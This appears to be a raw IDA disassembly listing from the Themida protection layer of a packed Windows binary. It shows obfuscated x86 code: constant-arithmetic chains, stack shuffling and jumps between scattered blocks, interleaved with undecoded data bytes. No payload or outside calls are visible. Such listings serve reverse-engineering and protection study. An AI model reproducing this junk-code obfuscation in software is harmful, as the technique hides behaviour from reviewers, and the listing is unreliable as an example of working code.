		add	ecx, 6A651940h
		add	ecx, 322A43E0h
		xor	ecx, 9DB9DDF4h
		add	esi, ecx
		jmp	loc_547C09
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 0F594E900h, 0BB53FFFFh, 16270088h, 6A3FEB81h
		dd 0E94346AFh, 314Ch
; ---------------------------------------------------------------------------


loc_5464D4:				; CODE XREF: Themida_:0054C462j
		pop	ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_5454C7
; ---------------------------------------------------------------------------
		dd 51D08850h, 88C78853h, 0CB885BF9h, 0FD2EE959h, 0EBBAFFFFh
		dd 8132886Ch, 0F52004C3h, 68D30146h, 557Bh, 72B0E9h, 24048F00h
		dd 2CD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_546511:				; CODE XREF: Themida_:0054D730j
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax


loc_546521:				; DATA XREF: Themida_:loc_543983o
		jmp	loc_54DDB0
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 0FFF9AEE9h, 0E90F2CFFh, 27h,	81243C8Bh, 4C4h, 0CD44E900h
		dd 3481FFFFh, 636AA024h, 2434FF40h, 4EC8158h, 89000000h
		dd 0D1E92414h, 5AFFFFFAh, 0C204C828h, 0B3535259h, 80C3FEA1h
		dd 0CB86E0F3h, 0FFE4FBE9h, 0CBEFE9FFh, 433FFFFh, 24043124h
		dd 8B240433h, 14892424h, 0E99C5024h, 0FFFFCBD9h, 240C8B66h
		dd 6FDD68h, 24348900h, 3382E9h
		db 0
; ---------------------------------------------------------------------------


loc_54659D:				; CODE XREF: Themida_:00548797j
		mov	edi, 440F4B9Dh
		sub	ebp, 1AF6069Fh
		add	ebp, 1C085303h
		add	ebp, edi
		jmp	loc_545E94
; ---------------------------------------------------------------------------
		db 29h,	54h, 24h
		dd 246C8104h, 0FD209A04h, 7BFFE967h, 0D5F70000h, 0FFE28DE9h
		dd 2C083FFh, 2474FF50h,	24048B04h, 4044E9h, 2004BF00h
		dd 0EB8146F5h, 6D320BCAh, 0EDE9FB29h, 53000056h, 26155FBBh
		dd 55D3F759h, 5980E4BDh, 5DEB2913h, 34FFD829h, 43E95B24h
		dd 9FFFFE4h, 0E6C159CEh, 0D6F74603h, 5198E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54661A:				; CODE XREF: Themida_:0054B85Fj
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_54A6B9
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 761Fh, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFCB29h
; ---------------------------------------------------------------------------


loc_54663C:				; CODE XREF: Themida_:00548877j
		push	edi
		mov	edi, 5C934760h
		mov	ecx, edi
		pop	edi
		jmp	loc_54AAC9
; ---------------------------------------------------------------------------
		dw 9768h
		dd 0E9000009h, 6569h
; ---------------------------------------------------------------------------


loc_546654:				; CODE XREF: Themida_:0054BC15j
		dec	bp
		add	bp, 782Fh
		xor	bp, 0C0E4h
		jmp	loc_546CC3
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 0FF505DE8h, 58042474h, 5C24048Fh, 5604C483h
		dd 0C681E689h, 4, 3304C683h, 7FE92434h,	5CFFFFD2h, 8B246F29h
		dd 0C483242Ch, 0DF895704h, 3C8BF889h, 8B545024h, 89522404h
		dd 4C281E2h, 83000000h,	143304C2h, 24143124h, 3813E9h
		dd 0C0BA5200h, 81282617h, 0CE420FC3h, 0CDC38168h, 159FA49h
		dd 0CDEB81D3h, 8159FA49h, 0CE420FEBh, 0BF575A68h, 7BC555DDh
		dd 0FFD89DE9h, 0C8B66FFh, 5DE95624h, 5900004Eh,	0FFE3D2E9h
		dd 2434FFFFh, 0E92434FFh, 36DBh, 1B2DB0BAh, 3BC28108h
		dd 426E5411h, 0FFCB1DE9h, 4BDFFh, 0C7810000h, 20723365h
		dd 0EF81EF01h, 20723365h, 81242C8Bh, 4C4h, 243C3300h, 33243C31h
		dd 248B243Ch, 2434FF24h, 6824048Bh, 63BEh, 51B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54674D:				; CODE XREF: Themida_:00545412j
		push	edi
		jmp	loc_54DD69
; ---------------------------------------------------------------------------
		db 81h
		dd 1224E0C1h, 0F5D6E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54675E:				; CODE XREF: Themida_:0054ACA6j
		push	0B9h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_548EAA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 1F5A6824h, 2DE90000h, 68000061h, 3BA6h, 89240C89h, 95BF57E1h
		dd 0E97F057Ah, 7B02h, 0B850D6F7h, 6E460D1Eh, 4008E0C1h
		dd 912DE0D1h, 93484DDh,	24048BC6h, 81E38953h, 4C3h, 4C38100h
		dd 0E9000000h, 35D4h, 5704C483h, 0C781E789h, 4,	8704C783h
		dd 525C243Ch, 804AB151h, 0C180FFC1h, 59CA88ABh,	0F601EA80h
		dd 2B6866D2h, 1C896647h, 69606824h, 14890000h, 807CB224h
		dd 0EAC0D8C2h, 0F6C2FE03h, 0D5EA80DAh, 88D18851h, 0E95A59CBh
		dd 1A88h
; ---------------------------------------------------------------------------


loc_546818:				; CODE XREF: Themida_:00545CC3j
		pop	ebx
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_545388
; ---------------------------------------------------------------------------


loc_546827:				; CODE XREF: Themida_:0054D5DBj
		add	esp, 4
		jmp	loc_545044
; ---------------------------------------------------------------------------
a6s		db '6\',0
		align 2
		dw 5854h
		dd 3F1368h, 0F18BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546842:				; CODE XREF: Themida_:0054CB73j
		neg	ecx
		sub	ecx, 0B926D388h
		mov	eax, ecx
		pop	ecx
		sub	esi, 7A996D32h
		jmp	loc_547156
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 0E6B9E924h, 5657FFFFh, 6E307EBEh
		dd 5EF78947h, 151FA8BDh, 5FFD0134h, 0DAADC581h,	0C781FB89h
		dd 35B310DDh, 0EF81EF01h, 35B310DDh, 0FFFAAAE9h, 0D1B850FFh
		dd 0C14BA16Ah, 482D07E0h, 0E9CC544Dh, 0FFFFD3A0h, 8102E9C1h
		dd 1E85E2E9h, 0F73DE919h, 8B66FFFFh, 54562404h,	0E92434FFh
		dd 37BFh, 1FBDF681h, 5FE9522Eh,	58000026h, 4C481h, 54510000h
		dd 70685759h, 0FF11FE20h, 0E95F2434h, 57C4h, 5C243487h
		dd 0E9241C89h, 3676h, 0FF2434FFh, 505A2434h, 4055854h
		dd 52000000h, 4BAh, 5AD00100h, 5C240487h, 682868h, 24348900h
		dd 0BA52E689h, 7501199Ch, 7E2C14Ah, 45CA8142h, 0E9214F41h
		dd 8A8Fh, 89243489h, 4C681E6h, 81000000h, 4ECh,	243C8900h
		dd 2BFh, 0F3B85000h, 51A2254h, 15C720C3h, 4F8DE9h, 68555D00h
		dd 0CD84DD49h, 1DCCE9h,	0FEB9B400h, 56F480C4h, 48BE730h
		dd 679EE924h, 0FE290000h, 3DC2C681h, 15F7CB3h, 6FBD55C6h
		dd 115AF04h, 242C8BEEh,	17ACE951h, 0E5890000h, 4C581h
		dd 0ED810000h, 4, 3A77E9h
		db 0
; ---------------------------------------------------------------------------


loc_5469A1:				; CODE XREF: Themida_:0054A13Dj
		shl	edx, 1
		push	ebp
		push	eax
		jmp	loc_54AB8F
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 0F80059F4h, 0B353515Bh, 219DE957h, 53520000h, 5193E9h
		dd 0B7536600h, 0E863E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5469CA:				; CODE XREF: Themida_:0054A3EEj
		sub	ebx, 1A923012h
		add	ebx, 3DFF4042h
		sub	ebx, 6D3D433Eh
		add	ebx, 64247AE7h
		add	ebx, edi
		sub	ebx, 64247AE7h
		add	ebx, 6D3D433Eh
		sub	ebx, 3DFF4042h
		add	ebx, 1A923012h
		push	dword ptr [ebx]
		jmp	loc_545B91
; ---------------------------------------------------------------------------
aS?		db ' [?',0
		db 0
; ---------------------------------------------------------------------------


loc_546A0B:				; CODE XREF: Themida_:0054E083j
		push	eax
		mov	al, bl
		push	ecx
		mov	cl, al
		jmp	loc_545C60
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 13F1F681h, 0F589ECF3h, 2444815Eh, 456C4F04h,	246C8127h
		dd 8C5C7E04h, 682BE950h, 0EC810000h, 4,	0BD242C89h, 49830FF3h
		dd 37F58145h, 104D47Fh,	38E95DEBh, 57000030h, 0C781E789h
		dd 4, 7F55E9h, 0D5685A00h, 89000036h, 0CE682434h, 0E900002Eh
		dd 4E3Dh, 7BE56851h, 4890000h, 5585424h, 4, 42Dh, 24048700h
		dd 0E924248Bh, 11AEh, 1C8B1388h, 5D545524h, 84FDE9h, 0FFB85000h
		dd 1FFFFFFh, 45E958C5h,	55FFFFEBh, 523A6FBDh, 271BE926h
		dd 8B660000h, 5450240Ch, 0AFE9h, 5FFB0100h, 31241C33h
		dd 1C33241Ch, 0AD3E924h, 4310000h, 0D7D6E924h, 14F7FFFFh
		dd 8170E924h, 31AD0000h, 0E95557D8h, 0FFFFF228h, 8904EC83h
		dd 38BB241Ch, 1000000h,	647BE9FBh, 0B8500000h, 7637365Ah
		dd 49B1E953h, 0DA890000h, 3BC6815Bh, 1069E06h, 3BEE81D6h
		dd 8B069E06h, 0D7E92414h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546B27:				; CODE XREF: Themida_:005456D2j
		push	edi
		jmp	loc_5462EE
; ---------------------------------------------------------------------------
		db 66h,	59h, 0E9h
		dd 0FFFFD3BEh, 7B006853h, 76E9136Fh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546B3F:				; CODE XREF: Themida_:0054DD7Aj
		sub	edi, 0A211391Ch
		add	ebp, edi
		pop	edi
		jmp	loc_54D1E8
; ---------------------------------------------------------------------------


loc_546B4D:				; CODE XREF: Themida_:0054D646j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	447Ch
		jmp	loc_545D24
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD35966h, 0FAE99C24h, 8FFFFFC5h,	0E9512404h
		dd 2D5Fh, 8324048Bh, 40504C4h, 0E9000000h, 0FFFFEF79h
; ---------------------------------------------------------------------------


loc_546B84:				; CODE XREF: Themida_:0054504Cj
		jnz	loc_547F77
		push	67A0h
		mov	[esp], eax
		jmp	loc_54F234
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0F9EE8100h, 13DB740h, 7B91E9CEh, 14890000h, 3FA8BA24h
		dd 0CA810843h, 5D734D3Ch, 0FE6BBF57h, 0FA01DE5Ch, 5AD0015Fh
		dd 0BB53D801h, 3BD07E27h, 815BD829h, 4ECh, 242C8900h, 0E53B850h
		dd 0B5E95F72h, 83000038h, 48704E8h, 24248B24h, 0E9240489h
		dd 0FFFFC571h, 243C3166h, 243C3366h, 243C3166h,	0E9D73166h
		dd 0FFFFF2FDh, 241C895Ch, 0C3815B54h, 4, 56C6E9h, 4E1C100h
		dd 4A72E981h, 0C1815556h, 0A8506E0Dh, 43E5EE81h, 0CE01090Ah
		dd 43E5C681h, 8B59090Ah
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_548CF3
; ---------------------------------------------------------------------------
		db 50h
		dd 0EF49FEB8h, 2DD0F727h, 1E50EDC8h, 0E958C201h, 3389h
		dd 243C8758h, 5579685Ch, 0C890000h, 2A3BE924h, 0B9510000h
		dd 4, 6CFFBB53h, 8DE958BBh, 5EFFFFE9h, 4C481h, 0E9500000h
		dd 0FFFFCD60h, 0C281E289h, 4, 4C281h, 14870000h, 808AE924h
		dd 2DBE0000h, 0D1672F55h, 9CC681E6h, 8140507Eh,	0B4006ACEh
		dd 0D9E95634h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546CC3:				; CODE XREF: Themida_:00546660j
		push	esi
		jmp	loc_545F93
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSrw		db '$RW',0
		align 2
		dw 8150h
		dd 1F07242Ch, 815F0080h, 801F07C7h, 7E95800h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_546CE7:				; CODE XREF: Themida_:00543C78j
		not	esi
		shr	esi, 4
		add	esi, 1FCF3E08h
		xor	esi, 422E0F1h
		mov	ebp, esi
		pop	esi
		or	ebp, 353C7CFDh
		push	edx
		mov	edx, 3FBC7DFBh
		sub	ebp, edx
		jmp	loc_54CFF3
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 1000000h, 3C875DEFh,	24248B24h, 1BA6E9h
		db 0
; ---------------------------------------------------------------------------


loc_546D21:				; CODE XREF: Themida_:0054D309j
		mov	esi, ebp
		pop	ebp
		jmp	loc_54E059
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 2Dh
		dd 0E91C7218h, 0FFFFFB8Ch, 4EC8157h, 89000000h,	4812424h
		dd 424h, 0C7815F00h, 4,	4BA5250h, 68000000h, 478Eh, 672DE9h
		dd 39686600h, 1489664Eh, 80CBB224h, 0D3002FC3h,	662FEB80h
		dd 8324148Bh, 0EA8002C4h, 661CE963h, 8B660000h,	0B8682404h
		dd 8900001Ah, 0E954241Ch, 0FFFFDCC9h
; ---------------------------------------------------------------------------


loc_546D90:				; CODE XREF: Themida_:0054BBFAj
		add	edi, 9F4569A4h
		jmp	loc_54D35B
; ---------------------------------------------------------------------------
		db 89h
		dd 0A5E9243Ch, 81FFFFF3h, 33FD7FEEh, 5EF20105h,	3324E9h
		db 0
; ---------------------------------------------------------------------------


loc_546DB1:				; CODE XREF: Themida_:00548251j
		push	ecx
		mov	ecx, 665970E5h
		jmp	loc_5459E5
; ---------------------------------------------------------------------------
		dd 8BCB295Dh, 0C483240Ch, 8BD83104h, 0C483241Ch, 0F3CBE904h
		dd 835DFFFFh, 343304EEh, 24343124h, 5C243433h, 7A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_546DE5:				; CODE XREF: Themida_:0054DE9Cj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	2641h
		mov	[esp], edx
		push	edi
		push	62280CD6h
		pop	edi
		mov	edx, edi
		pop	edi
		jmp	loc_54DF2B
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 241C8704h, 80D2F65Ch, 5BE9F3CAh
		dd 55FFFFCCh, 4BDh, 35C38100h, 0E9653746h, 1E6Fh, 6240481h
		dd 0E903B57Dh, 0FFFFD22Eh, 0E9241489h, 3284h, 315BD801h
		dd 0B60F66C3h, 65686600h, 489667Fh, 0C303E924h,	0BA52FFFFh
		dd 677E5405h, 57E0E9h, 66C52800h, 8BEB0058h, 8952240Ch
		dd 7D67E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546E7E:				; CODE XREF: Themida_:00543335j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 1D88121Bh
		add	ebx, edi
		sub	ebx, 1D88121Bh
		jmp	loc_54B07F
; ---------------------------------------------------------------------------


loc_546EA3:				; CODE XREF: Themida_:0054EED0j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	ebp
		push	edi
		mov	edi, 4DED5BEFh
		jmp	loc_54D042
; ---------------------------------------------------------------------------
aXhrt		db 'Xhrt',0
		align 2
aIHtZ_sg	db '<$h"Z_G',9,0
		align 10h


loc_546EF0:				; CODE XREF: Themida_:0054C904j
		pop	eax
		mov	[edi+20h], esi
		jmp	loc_545CBF
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 6624248Bh, 68240C8Bh, 4B07h,	54240C89h, 81240C8Bh, 4C4h
		dd 0E260E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546F1A:				; CODE XREF: Themida_:005487DFj
		xor	ebp, [esp]
		xor	[esp], ebp
		push	ebp
		jmp	loc_54A8EB
; ---------------------------------------------------------------------------
		dw 0BBh
		dd 0E9000000h, 7DD1h, 4EC81h, 34890000h, 505E5424h, 0C71AE956h
		dd 355CFFFFh, 0C380A6Dh, 1921BF57h, 0EF811E8Dh,	0FFFFFFFFh
		dd 197ACF81h, 0D7F70267h, 0D2F7D787h, 0D7F7D787h, 0BA525055h
		dd 29417229h, 0CA81EAD1h, 324E79D1h, 8106E2C1h,	0CD3872C2h
		dd 22E94A58h, 2900006Eh, 2C3358C5h, 242C3124h, 5C242C33h
		dd 52242489h, 4BF57h, 0FA890000h, 2444815Fh, 526F2B04h
		dd 24540170h, 246C8104h, 526F2B04h, 815A5A70h, 4C2h, 2C28100h
		dd 87000000h, 248B2414h, 0AB0F6624h, 0E99C2404h, 0FFFFDAC9h
		dd 98CEB81h, 0CB315214h, 0D46E9h, 24248B00h, 2896664h
		dd 0FFC17CE9h, 243C8BFFh, 8704C483h, 248B241Ch,	0B30F6624h
		dd 0E99C2404h, 0FFFFC165h, 24048B66h, 464EE9h
		db 0
; ---------------------------------------------------------------------------


loc_547009:				; CODE XREF: Themida_:00548351j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54F0AA
; ---------------------------------------------------------------------------
		dw 41B1h
		dd 0FE08E1C0h, 5FC180C1h, 0BBE9CA28h, 83000028h, 248904ECh
		dd 55E95724h, 89000083h, 0E2892414h, 5E08950h, 4, 8704E883h
		dd 0E95C2404h, 0FFFFEC5Ch, 420DE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547056:				; CODE XREF: Themida_:00548C83j
		mov	[esp], esi
		push	ebp
		jmp	loc_54E94A
; ---------------------------------------------------------------------------
		db 51h
		dd 61E9B7B1h, 0BFFFFFECh, 425B155Ah, 3C8BF829h,	5E545624h
		dd 4C681h, 0E9550000h, 0FFFFFFD0h, 348168h, 0E9E95400h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54708B:				; CODE XREF: Themida_:005463E1j
		mov	ecx, 1
		push	edx
		mov	edx, 24h
		add	edx, edi
		jmp	loc_54C0D2
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 51240C8Bh, 1353E9h, 2EF28100h, 810CD34Eh,	0A1274EC2h
		dd 5AD7015Eh, 5704C783h, 42474FFh, 6C8DE9h, 0F0016600h
		dd 1C80E95Eh, 505F0000h, 405E089h, 2D000000h, 4, 5C240487h
		dd 21DBE9h, 0C077E900h,	0E95AFFFFh, 0FFFFFFB9h,	38E468h
		dd 240C8900h, 8904EC83h, 68E92404h, 8B00002Ah, 59E92424h
		dd 89FFFFD8h, 262DE9E7h, 875A0000h, 0F5C241Ch, 0D768C8BEh
		dd 8900000Ch, 2BE9240Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54712B:				; CODE XREF: Themida_:00545F65j
		pop	esp
		mov	[esp], ebp
		push	0FFFFFFFFh
		pop	ebp
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_544136
; ---------------------------------------------------------------------------


loc_547156:				; CODE XREF: Themida_:00546853j
		add	esi, eax
		add	esi, 7A996D32h
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_543F63
; ---------------------------------------------------------------------------
		db 80h
		dd 0CEFEA5EEh, 0E6C0D6F6h, 0ECF68003h, 51EFE9h,	2434FF00h
		dd 83240C8Bh, 49E904C4h, 66000050h, 566D829h, 6656092Ah
		dd 0E932F2BEh, 0FFFFC638h, 0E231E981h, 0CF21785Ch, 2374E959h
		dd 0C1810000h, 5A20115Eh, 1E76E981h, 0CE01FF87h, 83240C8Bh
		dd 520504C4h, 51AC747h,	5F2C01DEh, 5056F029h, 7D59AEB8h
		dd 3FB9BE44h, 5DE90D8Dh, 3100002Bh, 2A6BE9D8h, 0E7C10000h
		dd 4513E903h, 3C890000h, 360EBF24h, 0F7816470h,	6470360Ah
		dd 815FF989h, 0EF5F0AC2h, 81CA016Ah, 0EF5F0AEAh, 14E9596Ah
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54721B:				; CODE XREF: Themida_:00548206j
		pop	eax
		add	ecx, edi
		add	ecx, 31BC56B9h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54582B
; ---------------------------------------------------------------------------
aZsir		db 'ZR',0
		dd 4C48300h, 6035E9h, 240C8900h, 0FFBF20E9h, 895359FFh
		dd 0E28EE9E3h, 4834FFFFh, 2858C330h, 0C0E95BD8h, 0C0FFFFE3h
		dd 0EDC007E5h, 0D6F8E904h, 0BA52FFFFh, 56E41C57h, 4F5AD721h
		dd 16D7E9h, 33FF5F00h, 0FFF2C5E9h, 241C8BFFh, 0E904C483h
		dd 5C36h, 5DC368h, 24248900h, 4B951h, 4C010000h, 0C8B0424h
		dd 4C48324h, 0E92434FFh, 0FFFFF7B9h, 5C242C33h,	0C8B60F66h
		dd 19DA6866h, 10B3E9h, 1C335A00h, 241C3124h, 5C241C33h
		dd 5652C331h, 473668h, 242C8900h, 2CBDh, 8B5E5500h, 5456242Ch
		dd 80BB535Eh, 431D9F58h, 0E904EC83h, 0FFFFC508h, 8124348Bh
		dd 4C4h, 4C18300h, 8B240C87h, 34FF2424h, 81685824h, 0E900007Bh
		dd 26FFh, 5A4D68h, 243C8900h, 2434FF54h, 0E289525Fh, 4C281h
		dd 0C2830000h, 24148704h, 61F685Ch, 1C890000h, 4BB24h
		dd 41E90000h, 81000048h, 0F9026EE9h, 8BCD8953h,	0C481240Ch
		dd 4, 0ED81EDD1h, 0E6AF1573h, 89EB8953h, 2C8B5BDEh, 4C48324h
		dd 1277BF57h, 0F8015161h, 2DF0015Fh, 51611277h,	0EC83515Eh
		dd 6A55E904h, 34FF0000h, 24148B24h, 57E08950h, 951016BFh
		dd 0E9DFF759h, 745Ch, 0C8BC801h, 4C48124h, 0C1000000h
		dd 752D03E0h, 568F470Ch, 0FFEF4BE9h, 0EE8956FFh, 0FFEC71E9h
		dd 4C481FFh, 81000000h,	4C4h, 5DBD5500h, 81673551h, 0B116A9EDh
		dd 16CD8107h, 0E9357B69h, 209Ah, 56FFE983h, 0E2772CBEh
		dd 0A3EE8121h, 0E9496C16h, 2794h, 240C8B66h, 0E904EC83h
		dd 368Fh, 240C8B66h, 48AAE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5473FE:				; CODE XREF: Themida_:00544E1Aj
		and	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54D101
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 540Ah, 54243C89h,	0EC83505Fh, 21B6E904h
		dd 0D6010000h, 0FFE520E9h, 242C8BFFh, 3104C483h, 31EA31D5h
		dd 0D58742D5h, 0E5C1DDF7h, 4F9EE908h, 77FF0000h, 43FE92Ch
		dd 8B5F0000h, 0C483243Ch, 0E2895204h, 3CDDBE56h, 6E92F28h
		dd 0BAFFFFEEh, 4, 60E9D601h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547477:				; CODE XREF: Themida_:00545B43j
		or	dh, 0EEh
		sub	dh, 1
		jmp	loc_548BBF
; ---------------------------------------------------------------------------


loc_547482:				; CODE XREF: Themida_:0054D10Bj
		mov	eax, 7AD17690h
		dec	eax
		jmp	loc_548852
; ---------------------------------------------------------------------------


loc_54748D:				; CODE XREF: Themida_:0054B11Aj
		add	edi, eax
		mov	eax, [esp]
		push	ebp
		jmp	loc_54C56F
; ---------------------------------------------------------------------------


loc_547498:				; CODE XREF: Themida_:005477BEj
		mov	ecx, [esp]
		push	6DA1h
		mov	[esp], ebx
		jmp	loc_54D6EE
; ---------------------------------------------------------------------------


loc_5474A8:				; CODE XREF: Themida_:005442A4j
		push	ebp
		mov	ebp, esp
		jmp	loc_5444F9
; ---------------------------------------------------------------------------


loc_5474B0:				; CODE XREF: Themida_:00543BFDj
		add	esi, 1
		or	esi, 2D8E0069h
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_544F4A
; ---------------------------------------------------------------------------
		db 87h
		dd 505C240Ch, 0EC83E089h, 243C8904h, 0D55695BFh, 1859E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5474DE:				; CODE XREF: Themida_:005462BDj
		and	eax, edx
		jmp	loc_54C333
; ---------------------------------------------------------------------------


loc_5474E5:				; CODE XREF: Themida_:0054B2EAj
		pop	edi
		jmp	loc_545E5E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0DAEAE900h, 0DFF7FFFFh, 20F6B951h, 0E9C11733h
		dd 9AC18107h, 0F73E1F7Ch, 49D1F7D9h, 0EAAFE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547512:				; CODE XREF: Themida_:0054930Aj
		add	edi, eax
		sub	edi, 6C680078h
		pop	eax
		add	edi, 0CCE172A5h
		mov	edx, edi
		mov	edi, [esp]
		push	710Bh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5440A5
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 0C2815C24h, 4, 3302C283h,	14312414h, 24143324h
		dd 0FFBFA0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547559:				; CODE XREF: Themida_:00548771j
		pop	eax
		and	eax, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54E911
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 5760E904h, 1C330000h, 29665C24h, 0E99C2404h,	0FFFFBBE1h
		dd 6A2EE959h, 0C890000h, 0C1A86824h, 0C8B61E6h,	4C48124h
		dd 31000000h, 240C8BC8h, 5204C483h, 0FFEF49E9h,	8B665CFFh
		dd 0EC81240Ch, 4, 54240C89h, 2D27E9h, 0A4C38100h, 290FBC0Eh
		dd 0A4EB81F3h, 5E0FBC0Eh, 5157FB01h, 52077268h,	5FE2E971h
		dd 4B90000h, 56000000h,	1D2E26BEh, 1EE8150h, 81000000h
		dd 0DA4ED0F6h, 0E9F6813Dh, 126D32Ah, 0DD6FE9F3h, 0C481FFFFh
		dd 4, 8B24048Fh, 0FE682424h, 89000019h,	0DB682434h, 54000043h
		dd 8324048Fh, 5E042404h, 4C681h, 51500000h, 0AE0A84B9h
		dd 1E98174h, 572D4207h,	681C73BFh, 0BA524F43h, 14371E96h
		dd 6EAC142h, 7CE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_547649:				; CODE XREF: Themida_:00543F7Bj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	496Ch
		mov	[esp], ecx
		push	ebx
		push	eax
		mov	al, dl
		push	ecx
		push	ebx
		mov	bh, al
		mov	cl, bh
		jmp	loc_54EA1C
; ---------------------------------------------------------------------------
		dw 159h
		dd 0F74AE9E9h, 0C781FFFFh, 39FE7AACh, 3BB7E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54767E:				; CODE XREF: Themida_:00544054j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_54533D
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0FFBE0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547699:				; CODE XREF: Themida_:00548CD6j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54C57F
; ---------------------------------------------------------------------------


loc_5476A9:				; CODE XREF: Themida_:00545DC5j
		push	edi
		mov	edi, 5EBB0099h
		sub	edi, 12122085h
		jmp	loc_5479DA
; ---------------------------------------------------------------------------
		dd offset dword_569F68
		dw 0E900h
		dd 0FFFFF967h, 31243C33h, 3C33243Ch, 24248B24h,	89243C89h
		dd 4C781E7h, 0E9000000h, 2Dh, 5956EFBAh, 8BD38924h, 0C4812414h
		dd 4, 6E77E9h, 240C8B00h, 2E1768h, 242C8900h, 0BA52E589h
		dd 15D2683Dh, 720E9h, 0FBE95500h, 47FFFFF5h, 6CBEE781h
		dd 0E7813A19h, 22F273BFh, 221CF781h, 0FD894995h, 0FDE9505Fh
		dd 29FFFFECh, 1FBB53E8h, 2917CE78h, 1B15E9D8h, 0F9860000h
		dd 0F930D7F6h, 0F930CF30h, 0E905E9C0h, 0FFFFC734h, 8B241C87h
		dd 4312424h, 6E99C24h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54775F:				; CODE XREF: Themida_:0054AD46j
		pop	ecx
		sub	ecx, 0FFED971Bh
		jmp	loc_54A410
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924248Bh, 0FFFFB9F1h, 8B242C87h, 4312424h,	0B9E3E924h
		dd 0E281FFFFh, 37913266h, 8103EAC1h, 0FD1922C2h, 2DEFE961h
		dd 0EE810000h, 4, 5C243487h, 168FE9h
		db 0
